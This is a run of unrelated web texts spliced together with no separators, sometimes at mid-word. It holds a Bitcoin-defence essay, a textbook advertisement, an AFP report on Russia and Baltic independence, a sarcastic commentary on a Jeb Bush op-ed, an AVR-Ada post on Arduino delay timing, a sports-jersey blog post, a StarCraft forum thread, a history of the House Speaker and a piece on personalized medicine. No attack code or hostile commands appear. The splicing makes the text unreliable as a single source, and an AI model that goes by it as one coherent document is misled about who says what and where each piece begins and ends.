Thank you for agreeing to an interview Michael and we are looking forward to seeing your next creative project.“[Bitcoin] won’t end well, it’s a fraud…worse than tulip bulbs…[but] if you were a drug dealer, a murderer, stuff like that, you are better off doing it in bitcoin than U.S. dollars." ~ Jamie Dimon: CEO, JP Morgan
Headline: JPMorgan Guilty of Money Laundering, Tried To Hide Swiss Regulator Judgement ~ via Cointelegraph
Given the current, latest successive series of spikes to all-time highs for Bitcoin, the detractors are working overtime to make the case that the crypto-currency is a Ponzi, a scam, a phantasm, or, at the very least, a bubble. Oddly, many of these same detractors spend a lot of time cheerleading “the other bubble,” that everything-bubble, stocks, bonds, real estate, even ETFs of ETFs, you name it.
It’s easy to make superficial apples-to-screwdrivers comparisons about why Bitcoin is doomed to fail until you really take some time to look into it. When I was first exposed to the idea back in 2013 and researched it, I realized that “this really is different,” and the reason why was because of something John Kenneth Galbraith had once written which (until then) had invariably held up as true. In “A Short History of Financial Euphoria” Galbraith said:
The world of finance hails the invention of the wheel over and over again, often in a slightly more unstable version. All financial innovation involves in one form or another, the creation of debt secured in greater or lesser adequacy by real assets. (emphasis added)
When one looks at history, this accurately maps every financial bubble from Tulipmania (which we will debunk as a suitable metaphor for Bitcoin shortly) right up to 2008 and beyond.
However one place where it isn’t applicable is the phenomenon of Bitcoin. Crypto-currencies, at least at present, have no leverage and are near-impossible to purchase on credit. In other words, if asset bubbles get that way largely through leverage, and there is comparatively no leverage in Bitcoin, then something else has to be driving it.
That said…
The Price of Bitcoin is a Side Show.
Granted, at the moment it’s a very exciting sideshow for those who are on the train. A long-time customer emailed me as I was writing this asking, “At what point has easyDNS’ profits from accepting and holding bitcoin exceeded the actual operating profits of the company?” I had never considered that, but some quick math revealed that even after cashing a chunk out to buy gold (not my greatest trade), that happened last year.
But the price action around this isn’t what is exciting about Bitcoin and the crypto-currency revolution. What is exciting is that the centralized, bankster-controlled monopoly over the issuance of money itself is finished. It’s over. Even if they successfully manage to co-opt some major crypto-currencies or issue their own, Gresham’s Law will assert itself as capital managers will select a truly decentralized crypto-currency wherein they control, or have the option to control, their own private keys to safely store their wealth while they’ll use the government version to pay taxes, etc.
Whatever state-issued “digital cash” comes out in the near future, I’m suspecting it will be centralized with mandatory private key custody or escrow. When that happens, it shouldn’t even be called crypto-currency. Call it something else like “pseudo-crypto” or “fauxcoin” to differentiate.
Given the mostly bad analogies and unfounded criticisms being leveled at Bitcoin, let’s first take a serious look at what Bitcoin isn’t. Then, in Part II we’ll look at what it is and why it's different.
What Bitcoin Isn’t
“Backed by nothing”
This is the go-to criticism for people who simply don’t understand that crypto-currencies are based upon mathematics, zero-trust, open-source, and consensus. They think that bitcoins can simply be created “at will” and are backed by nothing.
They also say that as if the world’s reserve currency, the US dollar, isn’t, literally, “backed by nothing” and hasn’t been since 1971; and as if it can’t be created at will, which it most certainly has, with a vengeance.
Source: St. Louis Fed
Indeed, as Galbraith continued in our earlier passage:
This was true in one of the earliest seeming marvels: when banks discovered that they could print bank notes and issue them to borrowers in excess of the hard-money deposits in the banks’ strong rooms.
All fiat currencies today really are backed by nothing and can be created at will (that’s what the word “fiat” actually means), and perhaps unbeknownst to many, we are right now in a protracted, global currency war. Every nation is “racing to the bottom,” trying to devalue their currency against their trading partners so they can:
give their exporters a competitive advantage pull stronger currencies in to make money on the exchange, and service their ever expanding debts back with devalued, cheaper currency
This is why everybody’s purchasing power is going down despite tenured academics and central bankers incessantly complaining about “low inflation” and political spokesmodels always talking up a “strong currency.”
Bitcoin Isn’t: “Backed by nothing.”
What Is? The USD and every other fiat currency in the world.
“Bitcoin is a Ponzi”
The idea that Bitcoin or most crypto-currencies are “a Ponzi” is easily debunked by understanding what a Ponzi actually is.
As observed in CryptoAssets (Burniske & Tartar, 2017), it’s very simple: new investors pay old investors.
It is important to realize that in a Ponzi, the earlier investors are literally paid with funds being injected by the new investors in a “flow through” fashion (as distinct from later investors having to pay higher prices to earlier ones to induce them to part with an asset).
As long as the number of new investors and, thus, the influx of funds is growing at a rate faster than the payouts to the earlier investors, the Ponzi scheme thrives. When the expected payouts exceed the rate of input, it dies.
One doesn’t have to look very far to find mechanisms that fit the definition exactly: Social security programs are all classic ponzis. The demographic reality of today is that with the entry of the “Baby Boomer” generation into retirement, given that the subsequent generations are so much smaller in size, additionally penalized by falling real wages, growing taxation, decaying purchasing power of their money, and returns on any savings they can eek out suppressed into negative nominal yields — this Ponzi is in its terminal phase.
(Given that these exacerbating headwinds which face later generations can be summed up with the phrase “financial repression,” it is only logical that capital would “flee” to some asset or currency which appears resistant to them.)
Granted, the current ICO craze probably includes some Ponzis. The Cryptoassets book describes the OneCoin Ponzi as well as how to spot a Ponzi in crypto-currencies. I would have been hesitant to even call OneCoin a crypto-currency at all. It wasn’t open-source and had no public blockchain.
In Bitcoin and other true crypto-currencies, early holders are not receiving bitcoin from later entrants. In fact, quite the opposite is happening. Later entrants must entice earlier ones to part with their bitcoin. Since bitcoin cannot be created at will, it must be mined at a rate that drops over time (this year approximately 640K new bitcoin will be mined, about 3.8% of the total supply).
Demand for bitcoin is simply outstripping the supply of new coins being mined (for reasons we will discuss in Part II). If said price action rises dramatically (like, for example, Bitcoin suddenly became the highest performing asset class in the world) then a feedback loop would occur. Ever higher prices would be required to induce earlier holders to sell.
Bitcoin Isn’t: A Ponzi
What Is? Social Security
Tulipmania
What is described above is the same dynamic that occurs in any “bull market,” as buying begets more buying and “fear of missing out” kicks in. It is said that one of the most accurate gauges of “happiness” correlates closely to how much wealth one has when compared to one’s brother-in-law. Alex J Pollock describes it in Boom and Bust: Financial Cycles and Human Prosperity, as “The disturbing experience of watching one’s friends get rich.”
The trick would be to have some understanding of when a strong bull market has crossed into bubble territory. One of the more popular analogies for Bitcoin is Tulipmania: the financial bubble that occurred in 1630s Amsterdam with none other than tulip bulbs. Bitcoin is compared to Tulipmania so often that I decided to take a closer look at Tulipmania to see if the comparison was valid.
What I found was that most of what we know today about Tulipmania is superficial and self-referential, deriving primarily Charles Mackay’s chapter on Tulipmania in his seminal "Extraordinary Delusions and the Madness of Crowds" (1841). It is a scant 9 pages an purely anecdotal, describing ridiculous prices paid by the otherwise pragmatic and level-headed Dutch, and then it all just blew up like all bubbles do.
Finally I found Anne Goldgar’s Tulipmania: Money, Honor and Knowledge in the Dutch Golden Age, which is the most in-depth investigation of the rise and subsequent fall of Tulipmania extant today. In it we learn about the circular references that went on to inform our present time about Tulipmania:
If we trace these stories back through the centuries, we find how weak their foundations actually are. In fact, they are based on one or two contemporary pieces of propaganda and a prodigious amount of plagiarism. From there we have our modern story of tulipmania.
She traces the lineage of MacKay’s chapter:
Mackay’s chief source was Johann Beckmann, author of Beytrage zur Geschichte der Erfindungen, which, as A History of Inventions, Discoveries and Origins, went through many editions in English from 1797 on. Mackay’s chief source was Beckmann was concerned about financial speculation in his day, but his own sources were suspect. He relied chiefly on Abraham Munting, a botanical writer from the late seventeenth century. Munting’s father, himself a botanist, had lost money on tulips, but Munting, writing in the early 1670s, was himself no reliable eyewitness. His own words, often verbatim, come chiefly from two places: the historical account of the chronicler, Lieuwe van Aitzema in 1669, and one of the longest of the contemporary pieces of propaganda against the trade, Adriaen Roman’s Samen-spraech tusschen Waermondt ende Gaergoedt (Dialogue logue between True-mouth and Greedy-goods) of 1637. As Aitzema was himself basing his chronicle on the pamphlet literature, we are left with a picture of tulipmania based almost solely on propaganda, cited as if it were fact. (emphasis added)
Goldgar helps the reader in pursuit of truly understanding Tulipmania by rewinding to the late 1590s when there were no tulips in what is now Holland, or, in fact, the whole of Europe. Gardens were purely functional, designed for growing food, herbs, or medicinals. Then tulips and other curiosities began coming into the country and Europe from merchant vessels trading in the Mediterranean and Far East.
The “flower garden” arose for the first time, and it was spectacular — giving rise to an entire movement of collectors and aficionados whom, in the early days, were, as a rule, well-to-do. In later years, more people sought out, and then speculated in, the tulip trade not only to profit, but to lay their own claims on what they perceived to be a higher economic class or status.
At the risk of over simplifying her work, the tulip trade became intertwined and inseparable from, art.
The collecting of art seemed to go with the collecting of tulips. This meant that the tulip craze was part of a much bigger mentality, a mentality of curiosity, of excitement, and of piecing together connections between the seemingly disparate worlds of art and nature. It also placed the tulip firmly in a social world, in which collectors strove for social status and sought to represent themselves as connoisseurs to each other and to themselves.
The more I delved into understanding Tulipmania, the more I couldn’t escape thinking that the analogy was much more applicable to a different “asset class” which did enjoy a momentous bubble in recent times, but it wasn’t Bitcoin or crypto-currencies. To belabor my point, Bitcoin was impelled not by art, beauty, or any semblance of collectibility, but emerged primarily as a resistance to financial repression.
Something that was driven by uniqueness and fostered an aristocratic in-club all its own and, until recently, enjoyed stratospheric price action was the aftermarket in domain names. This isn’t the place to conduct a post-mortem on that bubble, but suffice it to say that the distinct characteristics of domain names more closely resembled that of tulip bulbs than Bitcoin does. (For the reader interested, I have written at length about the domain aftermarket here and here.)
Bitcoin Isn’t: Tulipmania
What Is? Domain names.
If Bitcoin isn’t a digital fiat backed by nothing, nor a Ponzi, nor Tulipmania, then what is it? Why has this come out of literally nowhere to become the strongest performing and fastest growing asset/currency in the world?
When I started writing this article, I wasn’t sure myself. I had to go back through my library and look at history and try to find some antecedent for what was happening. After looking back through the origins of money itself and working forward, I still wasn’t any closer to a mental model that “worked.”
Then, around 2 a.m. the other night, I woke up with the idea that I was looking in the wrong place, and it hit me with such force that I had a hard time getting back to sleep — even though I had made an “off the cuff” tweet that captured the basic idea of it a few weeks earlier (which I can’t find now).
I’ll take you through it in Part II. But in the meantime, I’ll leave you with another megabank CEO whose take on all this is very different from Jamie Dimon’s. Goldman Sachs’ CEO Lloyd Blankfein here muses on why it’s entirely plausible that money may evolve from being based on fiat to being based on consensus. These are some truly extraordinary remarks coming from a man in his position.
This article first appeared on HackernooneTechCampus has an exclusive textbook program (physical and digital) for k-12 schools. With eTechCampus Virtual Bookstores we can build a custom, one-stop online bookstore for all of your textbook needs, offering both hardbound textbooks and digital content.
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Moscow (AFP) - Russia's Prosecutor General is reviewing the legality of the independence of the three Baltic countries from the Soviet Union, a spokesman said Tuesday.
The move drew a furious reaction from Lithuania's President Dalia Grybauskaite, who said, "No one has the right to threaten" our independence.
Two lawmakers from the majority United Russia party argued in their appeal to prosecutors that decisions by the State Council of the Soviet Union, which granted independence to Estonia, Latvia and Lithuania, were illegal.
The lawmakers claimed that the decisions "brought great harm" to the country and should therefore be qualified as "state treason", according to the appeal which is now under review.
The Prosecutor General's office is "reviewing the request by lawmakers in accordance with Russian law," a spokesman told AFP.
Lithuania was the first of three countries to declare independence in 1990, followed by Estonia and Latvia in rapid succession. The State Council, which was chaired by former Soviet president Mikhail Gorbachev, recognised their independence in 1991 in its inaugural session.
Lithuanian leaders reacted angrily to the review. "Our independence was gained through the blood and sacrifice of the Lithuanian people," Grybauskaite said in a statement.
"I hope this meaningless action will be stopped," Foreign Minister Linas Linkevicius told AFP, calling the move a "provocation".
Asked about the lawmakers' initiative, Russian Foreign Minister Sergei Lavrov told journalists he had "not heard about such a request
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White House and turn agency rulemaking into a weapon for liberal dogma,"
Like a lot of us, former presidential candidate Jeb Bush has surveyed the Republican landscape and is asking, “What the f*ck?”
Bush, governor of Florida from 1999 to 2007, is incredulous that Donald Trump’s gotten the reins of his party and seems intent or riding everyone off a cliff.
Justin Sullivan/Getty Images
“Call it a tipping point, a time of choosing or testing,” he writes in a Washington Post op-ed.
“Whatever you call it, it is clear that this election will have far-reaching consequences for both the Republican Party and our exceptional country.”
He insists that while Trump has “tapped into the anxiety so prevalent in the United States today,” the real-estate reality star doesn’t reflect the “inclusive legacy” of the Republican Party.
Sorry, what?
But Bush doesn’t blame the Donald for stirring the GOP into a rabid, bigoted froth. That, he says, is Barack Obama’s fault.
Chip Somodevilla/Getty Images
Eight years of the divisive tactics of President Obama and his allies have undermined Americans’ faith in politics and government to accomplish anything constructive. The president has wielded his power—while often exceeding his authority—to punish his opponents, legislate from the White House and turn agency rulemaking into a weapon for liberal dogma. In turn, a few in the Republican Party responded by trying to out-polarize the president, making us seem anti-immigrant, anti-women, anti-science, anti-gay, anti-worker and anti-common-sense.
So because Obama was so nice to the gays, GOP had no choice but to marginalize and abuse us. We really brought it on ourselves, didn’t we.
Getty Images
Bush also levels some blame for the GOP’s leap off the rails on Hillary Clinton.
…On the left, Hillary Clinton promises to continue the disastrous foreign and economic policies of the Obama administration, as well as its hyper-partisanship. She has gone as far as to say Republicans are her “enemy” — a clear sign she doesn’t have any more interest in doing the hard work of forging consensus than her former boss does.
So it’s not the Republicans in Congress who are sabotaging any efforts at bipartisanship, it’s the President, who just won’t bend over far enough. And now we’re suffering the consequences.
“Trump’s abrasive, Know Nothing-like nativist rhetoric has blocked out sober discourse about how to tackle America’s big challenges.”
Funny how Bush ignores his own anti-immigrant, anti-women and anti-LGBT views: His administration’s attacks on women’s reproductive rights in Florida. His claim that “leaky” immigration policies led to 9/11. How he vowed to overturn marriage equality and enshrine anti-LGBT discrimination.
“Irrespective of what the courts say,” Bush said last year. “We need to make sure that we protect the right not just of having religious views, but the right of acting on those religious views. Conscience should also be respected for people of faith who want to take a stand for traditional marriage.”
Unlike fellow GOPers Scott Walker, Mike Huckabee, Rick Santorum and Ted Cruz, though, Jeb Bush never pushed for a constitutional amendment limiting marriage to one man and one woman.
So that actually makes him a moderate Republican.Fri 06 March 2015 In intermediate. tags: delay leonardo
AVR-Ada provides basically two ways to delay the code execution.
One way is busy looping using Generic_Busy_Wait_Seconds and Generic_Wait_USecs procedures from the AVR.Wait package.
procedure My_Wait is new AVR.Wait.Generic_Busy_Wait_Seconds (Crystal_Hertz => 16_000_000); procedure Wait_1000ms is new AVR.Wait.Generic_Wait_USecs (Crystal_Hertz => 16_000_000, Micro_Seconds => (1_000_000));
Another way is to use AVR.Real_Time.Delays package and Delay_For or Delay_Until procedures. GNAT also automatically translates "delay X.Y;" and "delay until X;" statements into calls to the procedures of AVR.Real_Time.Delays. Only trick required is have "with AVR.Real_Time.Delays;" statement in your code, since AVR-GNAT is not clever enough to do that automatically.
delay 1.0;
Sometimes people have been wondering how accurate the various delay methods are.
I decided to test the delays on Arduino UNOr3 and Arduino Leonardo using following program:
with AVR.MCU; with AVR.Real_Time.Delays; with AVR.Interrupts; with AVR.Wait; with Interfaces; use AVR; procedure LED is use type Interfaces.Unsigned_32; procedure Wait_1000ms is new AVR.Wait.Generic_Wait_USecs (Crystal_Hertz => 16_000_000, Micro_Seconds => (1_000_000)); -- For Arduino Leonardo -- LED_Port : Boolean renames MCU.PINC_Bits (7); -- LED_DD : Boolean renames MCU.DDRC_Bits (7); -- For Arduino UNOr3 LED_Port : Boolean renames MCU.PINB_Bits (5); LED_DD : Boolean renames MCU.DDRB_Bits (5); begin AVR.Interrupts.Disable; -- AVR.MCU.PRR1_Bits(7) := True; -- uncomment for Leonardo LED_DD := DD_Output; LED_Port := False; AVR.Interrupts.Enable; Wait_1000ms; LED_Port := True; Wait_1000ms; LED_Port := True; Wait_1000ms; LED_Port := True; Wait_1000ms; LED_Port := True; delay 1.0; LED_Port := True; delay 1.0; LED_Port := True; delay 1.0; LED_Port := True; delay 1.0; LED_Port := True; loop LED_Port := True; delay 1.0; end loop; end LED;
I uploaded the program on Arduino and then connected Saleae Logic logic analyzer to the LED pin of Arduino to measure the LED blinking delay.
For Arduino UNOr3 I got follow capture:
And same for Arduino Leonardo:
On Arduino UNOr3 the Wait_1000ms call took 1.012_7 seconds and on Arduino Leonardo 1.012_9 seconds. So, on both boards, 1s delay using busy looping Wait_1000ms took about 1.3% more than what it should have.
On the other hand, "delay 1.0" call, which is implemented using timers, was quite accurate. On Arduino UNOr3 "delay 1.0" took 0.999_821 seconds and on Arduino Leonardo 1.000_037 seconds.
From this we can see that waiting one second using "delay 1.0" is probably accurate enough for most purposes. Error on Arduino UNOr3 is less than 200 microseconds and on Leonardo 37 microseconds.
However, to make Wait_1000ms call more accurate, I changed it to following on Arduino Leonardo:
procedure Wait_1000ms is new AVR.Wait.Generic_Wait_USecs (Crystal_Hertz => 16_000_000, Micro_Seconds => (1_000_000 - 12500));
Value 12500 was found by experimenting. Each invidual device is different and there is some error in the measurement also, so this value might not work on your devices.Random Sports Jerseys, I think you know the type. It’s that jersey of a high draft pick that never made it. The jersey of the aging star who turned a quick trick with another team for the cash, or of the player who put together a few good games and made you excited enough to go out and buy his number to put on your back. I’m sure any fan who has a few jerseys, has at least one that they keep in their closet, because they are too embarrassed to wear it out in public. The jersey of Bruce Smith in the photo to the left is an example that I recently captured on my mobile phone camera. (yeah, it looks like ass) Sure a Bruce Smith #78 from the Bills is a classic, which can be worn for generations, but did you really need to invest in his Redskins Jersey? While he played 3 seasons with the Skins, that ended 7 years ago. I think it’s time to move on.
I myself have a couple of jerseys that have been retired from my regular rotation. Being a hockey fan from Washington, I have the Jaromir Jagr sweater that I paid $180 for. The only reason I was able to retire the Jagr jersey is because I have a few other Capitals jerseys to choose from. It is for that reason that I still wear my #56 Lavar Arrington Redskins jersey, since I have no other Redskins jersey in my collection. It may be time to look for some new burgundy and gold to purchase, although I feel lucky that I am not one of the suckers that bought his Giants jersey. I think the cause of Random Jersey Syndrome is pretty clear. These things are damn expensive, so once you finally plunk down the cash to get that professional weight authentic jersey, you don’t want to put it in the yard sale just because Heath Shuler’s career didn’t turn out exactly as you had hoped. I guess that is why throwbacks sell so well, you know those guys will never turn lame on you. Of course tell that to the guy who purchased an O.J. Simpson jersey at his Hall of Fame induction.
The website, Straight Cash Homey Dot Net, has the ultimate collection of Random Jersey Photos. Each day they feature another jersey that has been sent to them by folks like yourself on the internet. I have put together a gallery of some of my favorites. (The photos with people pointing really crack me up) While you check out the gallery, please be on the lookout for any that you may have in your closet. If you do see that Ryan Leaf jersey that you have so proudly been wearing, it may be time to look into buying something new. Let us know in the comments section what Random Jerseys you have in your collection.Pika Chu Profile Blog Joined August 2005 Romania 2510 Posts #2 Wasting your time, just play BW if you don't like SC2. They first ignore you. After they laugh at you. Next they will fight you. In the end you will win.
monitor Profile Blog Joined June 2010 United States 2351 Posts Last Edited: 2010-08-18 17:12:01 #3 Will play! No I like it, I think it will be cool to play BW with better graphicsWill play!
awu25 Profile Joined April 2010 United States 2003 Posts #4 i'm sure tons of people already made maps like this
but if you're going to make everything like BW, why even play SC2
Myles Profile Blog Joined March 2010 United States 5160 Posts #5 On August 19 2010 02:11 awu25 wrote:
i'm sure tons of people already made maps like this
but if you're going to make everything like BW, why even play SC2
Because they want BW with updated graphics and less retarded units. Because they want BW with updated graphics and less retarded units. Moderator
Raiznhell Profile Joined January 2010 Canada 786 Posts #6 On August 19 2010 02:11 awu25 wrote:
i'm sure tons of people already made maps like this
but if you're going to make everything like BW, why even play SC2
Because sc2 is nowhere near as cool or crisp as BW and EVERYONE's been dying to simply play BW in 3d graphics... also BW is much more balanced and everything is significantly cooler. like dragoons compared to stalkers, vultures compared to hellions, lurkers compared to roaches.
brood war also had significantly cooler abilities like spider mines, lurkers attacking while burrowed and reavers being able to kill like a whole control group of units in the blink of an eye. sc2 is lame and boring compared to what brood war had to offer so being able to play brood war in intense graphics would be that much better.
Because sc2 is nowhere near as cool or crisp as BW and EVERYONE's been dying to simply play BW in 3d graphics... also BW is much more balanced and everything is significantly cooler. like dragoons compared to stalkers, vultures compared to hellions, lurkers compared to roaches.brood war also had significantly cooler abilities like spider mines, lurkers attacking while burrowed and reavers being able to kill like a whole control group of units in the blink of an eye. sc2 is lame and boring compared to what brood war had to offer so being able to play brood war in intense graphics would be that much better. Cake or Death?
Dice0oo0 Profile Joined January 2010 Canada 24 Posts #7 Because sc2 is nowhere near as cool or crisp as BW and EVERYONE's been dying to simply play BW in 3d graphics... also BW is much more balanced and everything is significantly cooler. like dragoons compared to stalkers, vultures compared to hellions, lurkers compared to roaches.
brood war also had significantly cooler abilities like spider mines, lurkers attacking while burrowed and reavers being able to kill like a whole control group of units in the blink of an eye. sc2 is lame and boring compared to what brood war had to offer so being able to play brood war in intense graphics would be that much better.
But thats just like, your opinion man But thats just like, your opinion man Eh Bob a re bob
HaruHaru Profile Blog Joined November 2009 United States 965 Posts #8 On August 19 2010 02:43 Dice0oo0 wrote:
Show nested quote +
Because sc2 is nowhere near as cool or crisp as BW and EVERYONE's been dying to simply play BW in 3d graphics... also BW is much more balanced and everything is significantly cooler. like dragoons compared to stalkers, vultures compared to hellions, lurkers compared to roaches.
brood war also had significantly cooler abilities like spider mines, lurkers attacking while burrowed and reavers being able to kill like a whole control group of units in the blink of an eye. sc2 is lame and boring compared to what brood war had to offer so being able to play brood war in intense graphics would be that much better.
But thats just like, your opinion man But thats just like, your opinion man
and mine and mine Long live BroodWar!
virusak Profile Joined December 2009 Czech Republic 344 Posts #9 On August 19 2010 02:03 Pika Chu wrote:
Wasting your time, just play BW if you don't like SC2.
just a typical post that average user would be warned or temp banned for...
ie bw doesn't work for many win7 users and freezes very often so we can't play BW, so this custom map would be greatly appreciated just a typical post that average user would be warned or temp banned for...ie bw doesn't work for many win7 users and freezes very often so we can't play BW, so this custom map would be greatly appreciated
prodiG Profile Blog Joined January 2010 Canada 2014 Posts #10 Are these changes hard to implement to a new map? I want to create BW mods for all of my maps :D
Also, how's your progress with scout/reaver/defiler? ESV Mapmaking Team || http://twitter.com/prodiGsc || Real talk, I don't have time to sugar-coat it for you sir
andiCR Profile Blog Joined March 2008 Costa Rica 2267 Posts #11 Would really like to see this :D
Dont listen to haters, just release it with Python map or something lOL Nightmare1795 wrote: I played a guy in bronze who said he was Japanese. That was the only game I ever dropped a nuke, which was purely coincidental.
monitor Profile Blog Joined June 2010 United States 2351 Posts Last Edited: 2010-08-18 18:19:19 #12 I can't play BW on my new Windows 7 computer, would really like to see this!!!! You should use the infestor as the protoss reaver I think.
edit: I get STORM_ERROR_REQUIRES_UPGRADE when I try to patch it... anyone know how to fix this?
remag Profile Joined August 2009 Germany 354 Posts Last Edited: 2010-08-18 18:37:13 #13
On August 19 2010 02:43 Dice0oo0 wrote: Because sc2 is nowhere near as cool or crisp as BW and EVERYONE's been dying to simply play BW in 3d graphics... also BW is much more balanced and everything is significantly cooler. like dragoons compared to stalkers, vultures compared to hellions, lurkers compared to roaches.
brood war also had significantly cooler abilities like spider mines, lurkers attacking while burrowed and reavers being able to kill like a whole control group of units in the blink of an eye. sc2 is lame and boring compared to what brood war had to offer so being able to play brood war in intense graphics would be that much better.
same TT same TT
Mr.Pyro Profile Blog Joined July 2008 Denmark 959 Posts #14 Drop Spider mines is now an instant cast ability and will drop a mine at the vultures location. no longer requires a target.
Why would you do that? Why would you do that? P⊧[1]<a>[2]<a>[3]<a>tt | P ≝ 1.a.2.a.3.a.P
Kaasflipje Profile Joined May 2010 Netherlands 198 Posts #15 Interesting.
PokePill Profile Blog Joined March 2009 United States 1048 Posts #16 I think a BW remade in SC2 would be a lot of fun, if it could be balanced. It's not something you can just port over because unlimited selection and the pathing changes completely change everything. I mean something as simple as zealot dragoon vs Tanks would be completely different because tank AI. It would take a team of quite a few A- or better players balancing it for it to be fun IMO.
dantroid225 Profile Joined April 2010 United States 56 Posts #17 You are awesome for doing this and I would play
MangoTango Profile Blog Joined June 2010 United States 3670 Posts #18 On August 19 2010 02:52 HaruHaru wrote:
Show nested quote +
On August 19 2010 02:43 Dice0oo0 wrote:
Because sc2 is nowhere near as cool or crisp as BW and EVERYONE's been dying to simply play BW in 3d graphics... also BW is much more balanced and everything is significantly cooler. like dragoons compared to stalkers, vultures compared to hellions, lurkers compared to roaches.
brood war also had significantly cooler abilities like spider mines, lurkers attacking while burrowed and reavers being able to kill like a whole control group of units in the blink of an eye. sc2 is lame and boring compared to what brood war had to offer so being able to play brood war in intense graphics would be that much better.
But thats just like, your opinion man But thats just like, your opinion man
and mine and mine
and my axe?
I can't wait to play BW with SC2 graphics. On BW maps. C- dest anybody? and my axe?I can't wait to play BW with SC2 graphics. On BW maps. C- dest anybody? "One fish, two fish, red fish, BLUE TANK!" - Artosis
MamiyaOtaru Profile Blog Joined September 2008 United States 1686 Posts Last Edited: 2010-08-18 20:40:04 #19
On August 19 2010 03:39 MaD.pYrO wrote:
Show nested quote +
Drop Spider mines is now an instant cast ability and will drop a mine at the vultures location. no longer requires a target.
Why would you do that? Why would you do that? definitely not wasting time, there are people who would play it. I just with those guys at Project Revolution had made their 3d models available, for that really authentic look (but in 3d)
Zack1900 Profile Joined January 2010 United States 211 Posts #20 I would love it. I'd finality be able to off some sweet sk Terran vs Zerg
1 2 3 4 5 244 245 246 NextSpeaker of the House
“The House of Representatives shall chuse their Speaker and other Officers; and shall have the sole Power of Impeachment.”
— U.S. Constitution, Article I, section 2, clause 5
/tiles/non-collection/h/hh_1789_03_04_muhlenberg_hc.xml
About this object Collection of the U.S. House of Representatives
Origins
The Speaker is the political and parliamentary leader of the House. The Constitution mandates the office, but the House and Speakers have defined its contours over time. Some Speakers have aggressively pursued a policy agenda for the House while others have, in the words of Speaker Schuyler Colfax of Indiana, “come to this chair to administer [the] rules, but not as a partisan.” Regardless, the Speaker—who has always been (but is not required to be) a House Member and has the same duties to his or her local constituents like the other 434 Members—is at the levers of power. The Speaker is simultaneously the House’s presiding officer, party leader, and the institution’s administrative head, among other duties.
The office originated in the British House of Commons during the 14th century. The speaker had allegiances to the legislative body as well as to the sovereign: elected by the Commons, the speaker represented that body before the monarch but also served as the monarch’s representative in the Commons. This duality ended three centuries later when Speaker William Lenthall declared to Charles I that he had “neither eyes to see, nor tongue to speak” except for what had been authorized by the House of Commons. While today Commons’ speakers serve primarily as non-political parliamentary traffic cops, 18th-century speakers also served as party leaders and ministers of government.
The American speakership has followed this example and is a product of politics. The Pennsylvania delegation nominated Frederick A. C. Muhlenberg to be the first Speaker since it wanted a member of its state to hold a high office, as Virginia’s George Washington became President, Massachusetts’s John Adams became Vice President, and New York’s John Jay became Chief Justice of the United States. The Pennsylvania delegation also wanted to locate the nation’s capital in Pennsylvania and thought the Speaker would be well-positioned to lead that campaign. Muhlenberg, who served two non-consecutive terms in the Speaker’s chair, however, failed in that task.
The Rise of the Speaker
While Speakers were always regional or party leaders, they lacked national prominence until Henry Clay of Kentucky took the chair in the 12th Congress (1811–1813). Elected in his first term in the House, Clay was already a national luminary, having previously served as a U.S. Senator and as speaker of the Kentucky state house. Clay championed national policies over regional ones, and he effectively coupled the institutional tools of the speakership with his personal charisma, raising the stature of the House. Clay noted that “delicate and perplexing” demands were placed on the Speaker, and “especially require of him in those moments of agitation from which no deliberative assembly is always entirely exempt, to remain cool and unshaken amidst all the storms of debate, carefully guarding the preservation of the permanent laws and rules of the House from being sacrificed to temporary passions, prejudices, or interests.”
The Political Speaker
The power of the Speaker expanded as the party system better developed after the Civil War. Until 1911, the Speaker had the sole authority to appoint Members to House standing committees. The Speaker also chaired the House Rules Committee, which controlled the flow of legislation to the floor. In response to minority filibusters, Speaker Thomas Brackett Reed of Maine streamlined the House’s standing rules to prune dilatory tactics and to push the Republican Party’s policy agenda. But as Reed was quick to point out, he was successful in making the House a majoritarian body because the majority of the body—all members of his party—supported his reforms. “The approval of the House is the very breath in the nostrils of the Speaker,” he said.
The strong speakership, though, had its detractors. Speaker Joseph Cannon of Illinois, known as “Uncle Joe” to his friends and “Czar Cannon” to his enemies, tightly controlled access to the floor via the Rules Committee and through committee appointments. But in 1910, rank-and-file Members launched a revolt against Cannon and amended House rules to rein in the powers of the Speaker. One frustrated Representative said the speakership under Cannon was “not a product of the Constitution” and the Speaker was not “entitled to be the political and legislative dictator” of the House. Cannon, in his self-defense, said he was simply implementing his party’s agenda that the American people chose. Speakers, he said, would have to sacrifice popularity to be effective. “It is as easy to find a certain kind of popularity as it is to pick up pebbles on a stony beach, and the one is worth just about as much as the other,” he said.
The Modern Speaker
After the era of strong Speakers, committee chairs reasserted influence in the chamber, forcing later Speakers to change how they used the office. In the middle of the 20th century, the longest-serving Speaker in House history, Sam Rayburn of Texas, took the exact opposite stance as Cannon. “The old days of pounding on the desk and giving people hell are gone,” Rayburn said. “A man’s got to lead by persuasion and kindness and the best reason—that’s the only way he can lead people.” Later, larger party organizations wielded the greatest power. When 1970s reforms limited committee power, the authority of House Speakers re-emerged as the coordination and timing of legislation gained greater importance. Power flowed back to the House Floor from committee rooms.
For further information, see the Speakers of the House Resources.Many policy experts are calling for more studies to compare the effectiveness of different treatments. One drawback is that such studies tend to be “one size fits all,” with the winning treatment recommended for everybody. Personalized medicine would go beyond that by determining which drug is best for which patient, rather than continuing to treat everyone the same in hopes of benefiting the fortunate few.
The colon cancer drugs Erbitux and Vectibix, for instance, do not work for the 40 percent of patients whose tumors have a particular genetic mutation. The Food and Drug Administration held a meeting this month to discuss whether patients should be tested to narrow use of the drugs, which cost $8,000 to $10,000 a month.
And a genetic test might help doctors determine the optimal dose of warfarin, a blood thinner used by millions of Americans. Tens of thousands of them are hospitalized each year because of internal bleeding from an overdose or a blood clot from an inadequate dose.
“If you save one hospitalization for every 100 new warfarin users, you more than offset the cost of testing all 100,” said Dr. Robert S. Epstein, the chief medical officer of Medco Health Solutions, which manages prescription plans for employers. The test typically costs $100 to $600.
For all the potential, experts see some formidable obstacles on the path to the promised land of personalized medicine.
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“It’s going to take 20 to 30 years for all this to fall into place,” said Dr. Gregory Downing, who heads efforts by the Department of Health and Human Services to spur personalized health care.
The hurdles include drug makers, which can be reluctant to develop or encourage tests that may limit the use of their drugs. Insurers may not pay for tests, which can cost up to a few thousand dollars. For makers of the tests, which hope their business becomes one of health care’s next big growth industries, a major obstacle is proving that their products are accurate and useful. While drugs must prove themselves in clinical trials before they can be sold, there is no generally recognized process for evaluating genetic tests, many of which can be marketed by laboratories without F.D.A. approval.
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Genentech, a developer of cancer drugs, petitioned the F.D.A. this month to regulate such tests. It warned of “safety risks for patients, as more treatment decisions are based in whole or in part on the claims made by such test makers.”
